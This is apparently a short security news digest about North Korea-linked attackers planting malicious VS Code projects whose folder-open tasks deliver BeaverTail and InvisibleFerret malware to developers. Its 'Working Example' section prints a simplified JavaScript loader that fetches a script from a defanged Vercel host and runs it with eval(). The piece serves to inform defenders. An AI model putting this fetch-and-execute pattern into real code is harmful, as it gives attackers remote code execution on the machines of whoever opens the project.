North Korea-Linked Hackers Target Developers via Malicious VS Code Projects

North Korea-Linked Hackers Target Developers via Malicious VS Code Projects

North Korean state-sponsored threat actors, associated with the “Contagious Interview” campaign, are leveraging malicious Visual Studio Code (VS Code) projects to deliver backdoors, spyware, and cryptocurrency miners to developer systems. The campaign, first observed in December 2025, utilizes VS Code task files to execute payloads staged on Vercel domains.

Why This Matters

The increasing sophistication of supply chain attacks targeting developers represents a significant escalation in cyber threats. Traditionally, developers were considered indirect targets; now, they are directly compromised to gain access to valuable source code, intellectual property, and financial systems, potentially resulting in millions of dollars in stolen cryptocurrency and intellectual property. The cost of remediation following a successful compromise can easily exceed six figures per incident.

Key Insights

• Contagious Interview Campaign: Active since 2025, evolving to use VS Code tasks for initial compromise.
• VS Code Task Abuse: Attackers exploit the “runOn: folderOpen” setting to execute malicious JavaScript payloads automatically when a project is opened.
• BeaverTail & InvisibleFerret: Two malware families deployed in the attacks, offering remote code execution, keylogging, and data exfiltration capabilities, with the latter utilizing a Python environment.

Working Example

// Example of obfuscated JavaScript payload (simplified)
// This is a conceptual example and does not represent the full complexity of the actual payload
function executePayload() {
  fetch('https://ip-regions-check.vercel[.]app/payload.js')
    .then(response => response.text())
    .then(data => {
      eval(data); // Execute the received JavaScript code
    })
    .catch(error => {
      console.error('Error fetching payload:', error);
    });
}

executePayload();

Practical Applications

• Security Teams: Implement robust code review processes and endpoint detection and response (EDR) systems to identify and block malicious code execution.
• Pitfall: Relying solely on static analysis of code; attackers are employing dynamic payload delivery and obfuscation techniques to evade detection.

References:

• https://thehackernews.com/2026/01/north-korea-linked-hackers-target.html